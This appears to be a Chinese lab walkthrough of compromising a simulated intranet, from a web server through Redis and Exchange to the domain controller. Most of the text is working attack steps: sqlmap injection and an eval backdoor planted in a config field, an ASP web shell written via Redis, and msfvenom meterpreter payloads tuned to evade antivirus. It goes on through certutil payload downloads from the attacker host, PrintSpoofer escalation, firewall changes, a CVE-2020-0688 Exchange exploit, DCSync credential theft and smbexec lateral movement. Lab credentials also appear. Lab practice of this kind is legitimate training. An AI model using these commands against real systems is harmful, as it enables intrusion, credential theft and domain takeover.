暗月内网靶场
📆bilibili配套视频:
🔥系列专栏:暗月内网靶场
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2023年5月8日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
巅峰之路
前言
本文章仅用作实验学习,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。
靶场地址
知识点
基础的 php 代码审计、win 系统的宝塔系统提权、shellcode 免杀过火绒、内网漫游、三层网络、redis windows 写 shell
windwos 防火墙配置 (主要是会开端口和端口转发)、代理隧道应用,exchange
漏洞命令执行,打域控技巧。
环境搭建
需要设置一个vmnet19
把NAT的网卡设置成192.168.52.0/24
或者手动去redis的机器改一下静态IP
剩余的打开即用
静态IP均配置好的
账号密码
12server-bt
域名绑定:www.cocat.cc
192.168.52.131
后台的账号和密码 admin moon@123
bt登录后台
http://192.168.52.3:8888/e1VOsmtO/gOXZQjWAjSKyFFdj
本地管理员密码 administrator QWEasd444
12server-redis
192.168.52.4
10.10.10.202
redis服务密码:123456789qq
本地超级管理员密码:QWEasd1122
12server-ex13
10.10.10.209
本地超级管理员 QWEasd456
https://mail.cncat.cc
12server-dc
10.10.10.201
域控密码 :QWEasd123
普通用户两个如下:
moonsec QQqq5201314
test QQqq5201314
打点,bt机(192.168.52.131)
先做hosts
gedit /etc/hosts
而后访问域名,出现如下后台登陆框,可能存在sql注入,并且有可能目录爆破有东西
但是不敢随便爆,因为担心有宝塔啥的(她也确实有)
与此同时对开放的端口进行扫描
masscan 192.168.52.131 --ports 0-10000
针对开放的端口利用nmap进行扫描
nmap -v -Pn -T3 -sV -n -sT --open -p 21,3306,80,5985,888,8888 192.168.52.131
结果如下
PORT STATE SERVICE VERSION
21/tcp open ftp FileZilla ftpd
80/tcp open http Apache httpd 2.4.46 ((Win32) OpenSSL/1.1.1g mod_fcgid/2.3.9a)
888/tcp open http Apache httpd 2.4.46 ((Win32) OpenSSL/1.1.1g mod_fcgid/2.3.9a)
3306/tcp open mysql MySQL (unauthorized)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8888/tcp open http Ajenti http control panel
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
存在mysql未授权
存在mysql未授权
但是不是root用户,用户名不知道连不上,先放一边
8888面板
看来只有刚才域名访问的才是正确的面板入口
80/888
也是都没啥,但是可以留着80,888,8888三个端口
如果后期没有进展可以考虑目录爆破看有没有东西
5985
可以用winrm连接,这个先不管,有了凭证可以直接连
www.cncat.cc信息收集
先爆破目录一下,主要集中在各种配置文件,备份文件的字典,以及通用字典
发现了web.zip
访问之后发现是网站源码
我们可以审计,但是先不审计,因为不太喜欢
代码审计得到SQL注入
网页右键源代码看看有啥东西
访问:http://www.hphu.com
确实可以拿到,这也给了我们代码审计的可能。而代码审计往往多见sql注入
同时也可以发现弱口令
test01/可可网络验证
登陆尝试
本地搭建测试
但是失败
我们吧网站本地搭建起来,然后干一干
这一块错了,是5.3.29版本
还需要在php扩展中开启phpzendcoder插件
然后导入数据库
然后在网站根目录的admin_inc,下找到_config文件,修改红框2,3,4行为你对应的
可以尝试一下代码审计
整体看一遍,发现存在支付模块
所以优先审计支付模块,因为支付模块往往存在大量的sql注入
支付模块在kss_inc下
payapi_notify.php以及payapi_notify2.php
我们把鼠标移到上面,phpstrom会自动显示不是被定义的函数,出现这种情况的原因是因为定义函数的php文件采用了加密
我们找到了如下的php文件
bin_function_win.php文件,发现确实是加密的
所以我们找个在线zend解密网站进行解密
http://dezend.qiling.org/free.html
解密完就不是乱码了
再把它替换一下,看看函数是不是还是未定义
好的正常了
扔到seay自动审计一下,把握一下大概方向
看到有很多sql注入
所以我们可以抓包然后直接甩给sqlmap,建议自己本地搭一个站来扫,防止打草惊蛇
这里要说的是,可能存在缺少参数的情况。所以我们还是要大概补充参数,稍稍看看源码
看到post提交了v_oid参数
所以我们也交
右键change request method变为post提交
然后带入v_oid参数
他说Undefined index: v_pstatus
未定义参数,那我们就在post数据部分说一下
继续有所提示
那就继续写参数
直到参数齐全
然后把整个数据包搞到一个txt文件中,然后sqlmap跑,建议加入–time-sec=3 使用长的延时来避免触发WAF的机制,这方式比较耗时
但是我没加,因为很耗时
sqlmap -r http.txt --dbms mysql -v 1
跑了老半天跑出来了
可以看到注入点在v_oid
所以我们再跑的时候就不用跑别的参数了
sqlmap开跑
sqlmap -r http.txt --dbms mysql -v 1 -p v_oid --dump -C "username,password" -D www_cocat_cc -T kss_tb_manager
解密出来密码是moon@123
账号是moonsec_admin
然后回去登录
同时这个密码也可以记录下来,有可能存在密码复用的情况
接着我们找上传点,没找到,再找有没有可以后台getshell的地方,同时对照源码
找到一个这里
首先,我们都知道网站中修改的东西肯定都是要上到数据库的
那么这个地方的问题就在于,他是铭文保存的
那也就是说,我们可以在这里种下一颗小小的马
后台种马
原始:
define('QQMAIL','你的QQ号@qq.com');
要变成什么:
define('QQMAIL','你的QQ号@qq.com');eval($_POST['cmd']);//);
payload:
1');eval($_POST['cmd']);//
把payload输入进去:
define('QQMAIL','1');eval($_POST[cmd]);//');
然后payload搞到真实环境
即可
但是命令受限,有可能是php_disable_function,也可能是bt,护卫神,云盾那些的G东西
试了蚂蚁插件,不行
那就有可能是bt之类的,
接着去逛目录
发现了BT
接着在里面逛,主要找一些可编辑的文件,txt,之类的
又看到这个
然后对应目录区看看
还看到了
C:/BtSoft/panel/data/default.db
sqlite打开看一下
sqlite default.db
总结得到如下信息
宝塔的登录密码 C:/BtSoft/panel/data/default.pl jSKyFFdj
宝塔的登录端口 C:/BtSoft/panel/data/port.pl 8888
宝塔的登录网址路径 C:/BtSoft/panel/data/admin_path.pl /e1VOsmtO
最终:
账号 gOXZQjWA 密码 jSKyFFdj 登录 http://localhost:8888/e1VOsmtO
但是我们之前扫的8888没开,所以我们直接写一个php去访问
<?php
echo file_get_contents('http://localhost:8888/e1VOsmtO/')
?>
但是登录不了
然后在机器根目录下还有一个frps文件夹
我们在里面修改frpc.ini
添加如下规则
把8888端口映射到他的8888端口
[8888]
type = tcp
local_ip = 127.0.0.1
local_port = 8888
remote_port = 8888
然后我们再按照路径去访问
免杀上马
然后到BT就比较熟悉了
直接计划任务
提前生成一个exe文件
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.52.129 lport=8888 -f c -o test.c
然后用掩日处理一下
不行的话再说
注意不能勾选64位编译
能过火绒
蚂蚁上传
然后回到BT界面定计划任务
在这之前,MSF开启监听
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.52.129
lhost => 192.168.52.129
msf6 exploit(multi/handler) > set lport 8888
lport => 8888
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.52.129:8888
getsystem
run post/windows/gather/smart_hashdump
得到如下
[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:de935c6087ec367d3ef786915a4edcce:::
[+] www:1001:aad3b435b51404eeaad3b435b51404ee:894f353e870620b186a9a46ce56ac8f1:::
[+] mysql:1002:aad3b435b51404eeaad3b435b51404ee:291376866817cf2ccfe198308e5f925b:::
shell
发现只有一张网卡
run post/windows/gather/arp_scanner rhosts=192.168.52.0/24
ARP扫描一下
也可以按照之前的方法扫一下SMB,说不定可以用MS17-010
但是开的机器没有WIN7的
所以我就用的ARP
去掉1,2.还有我的两台机器还有这台已知的机器
就剩了个4
但是ping不到,估计不出网
我们在拿到的主机里进shell去ping一下
也不通,可能是禁ping
那就masscan先不带代理扫一下
然后nmap对应一下
80端口
是个IIS站点
默认根目录是inetpub/wwwroot
确实是redis
但是没有未授权
但是只有这一个目标
直接爆破
123456789qq
所以我们直接连接,尝试在IIS的根目录写一个ASP的SHELL
因为是IIS,所以默认路径inetpub/wwwroot
又因为是IIS,所以解析ASP/ASPX
└─# redis-cli -h 192.168.52.4
192.168.52.4:6379> auth 123456789qq
OK
192.168.52.4:6379> config set dir C:/inetpub/wwwroot
OK
192.168.52.4:6379> set xxx "\n\n\n<%eval request(\"cmd\")%>\n\n\n"
OK
192.168.52.4:6379> config set dbfilename shell.asp
OK
192.168.52.4:6379> save
OK
192.168.52.4:6379> quit
接着直接访问
有东西
蚂蚁尝试连接
没有命令限制
但是权限很低
但是跨越网段
但是不出网
接着我想MSF上线
msfvenom -p windows/meterpreter/bind_tcp LPORT=3344 -e x86/shikata_ga_nai -i 20 -f exe -o bind.exe
去C:/Windows/Temp/下操作
但是直接传失败了
有可能是
权限不够
那么接下来准备提权一下
这么多补丁,还不在域内
但是转念一想,我又穿不上来东西
我得先解决这个问题
蚂蚁的上传本质是写入
那我直接下载行不行呢
他可以ping到我
最后发现
C:/ProgramData/
可以写进去
certutil -urlcache -split -f http://192.168.52.129/bind.exe a.exe
然后运行一下
我们现在MSF准备好
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.52.4
set lport 3344
exploit
但是没反应
估计还得提权才能拿到shell
半天在这卡着
所以我觉得防火墙就没开这个端口,但是防火墙又没权限关
所以还是得提权
winpeas搞不了
突然想到,忘记一个东西
whoami /priv
直接上
certutil -urlcache -split -f http://192.168.52.129/PrintSpoofer32.exe root.exe
现在关闭防火墙
然后运行a.exe(之前做的正向连接木马)
root.exe -i -c "netsh firewall add portopening tcp 3344 msf"
root.exe -i -c "a.exe"
就OK了
run post/windows/manage/migrate
自动迁移一下进程
双网卡
一会做路由
也不再域内
那就扫一扫
10.10.10.0网段主机吧
run post/windows/gather/arp_scanner rhosts=10.10.10.0/24
扫描 10 段的主机发现存在 201 和 209
回到meter,全部下载下来
meterpreter > cd "C:\Users\Administrator\Documents\Outlook 文件"
meterpreter > download *
使用pstviewer打开
得到账号密码
moonsec QQqq5201314
现在做路由去nmap一下下一个目标
查看全局路由器
run get_local_subnets
添加10段的路由信息
run autoroute -s 10.10.10.0/24
查看添加的路由表信息
run autoroute -p
background
use auxiliary/server/socks_proxy
设置代理
set SRVPORT 6666
run
gedit /etc/proxychains4.conf
proxychains4 nmap -sT 10.10.10.209 10.10.10.201 -p80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,6379,7001,7002,9200,9300,11211,27017,27018,50000,50070,50030,21,22,23,2601,3389
209
80/tcp open http
135/tcp open msrpc
443/tcp open https
445/tcp open microsoft-ds
201
53
80
135
445
那我们带着代理访问一下209的https端口看是怎么个事
浏览器直接配socks代理就行
那么对于exchange重要资产
我们有很多RCE的EXP
这都需要我们要么拥有一个账户
或者是账户密码
我们现在就要在通10.10.10.0的机器上去找
毫无疑问,就是redis服务器
那么经过寻找
C:\Users\Administrator\Documents\Outlook 文件
找到了outlook文件
meterpreter > cd "C:\Users\Administrator\Documents\Outlook ������"
meterpreter > download *
用pstviewer打开
找到了凭证
然后那刚才找到凭证登录
cncat/moonsec QQqq5201314
CVE-2020-0688
OK
那么我们可以利用CVE-2020-0688尝试
https://github.com/Yt1g3r/CVE-2020-0688_EXP
让我们把a.exe放到202的80端口,也就是IIS网站目录,然后让209从202下载
或者也可以做反代,但是比较麻烦,不必要
因为之前我们的a.exe正在执行,所以复制不过去,我们重新上传一个,命名为b.exe
但是蚂蚁都上不去,system也copy不过去
所以用MSF上传
传到iis默认路径,这样我们的209就可以葱202下载了
upload /root/桌面/bind.exe C:/inetpub/wwwroot/b.exe
本地配置好准备接shell
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set RHOST 10.10.10.209
set lport 3344
exploit
因为MSF的代理不好用,所以我用之前介绍过的stowaway去做
./linux_x64_admin -l 192.168.52.129:8000 -s 123 //本地开启服务端
upload /root/桌面/windows_x86_agent.exe C:/inetpub/wwwroot/win86.exe //上传
win86.exe -c 192.168.52.129:8000 -s 123 --reconnect 8 //在那边开启客户端
而后windows使用proxifier连接
如图
而后执行如下,进行exp的利用
安装一下依赖环境
python -m pip install pyreadline
python3 CVE-2020-0688_EXP.py -s https://10.10.10.209 -u cncat\moonsec -p QQqq5201314 -c "cmd /c certutil -urlcache -split -f http://10.10.10.202/b.exe c:/3344.exe"
python3 CVE-2020-0688_EXP.py -s https://10.10.10.209 -u cncat\moonsec -p QQqq5201314 -c "cmd /c netsh firewall add portopening tcp 3344 msf"
python3 CVE-2020-0688_EXP.py -s https://10.10.10.209 -u cncat\moonsec -p QQqq5201314 -c "cmd /c c:/3344.exe"
拿到了shell
PS发现域管进程
直接窃取
凭据窃取
migrate 11176
load kiwi
dcsync administrator
解密得到密码为QWEasd123
直接横向过去
横向域控
proxychains4 python3 /usr/share/doc/python3-impacket/examples/smbexec.py cncat/administrator:QWEasd123@10.10.10.201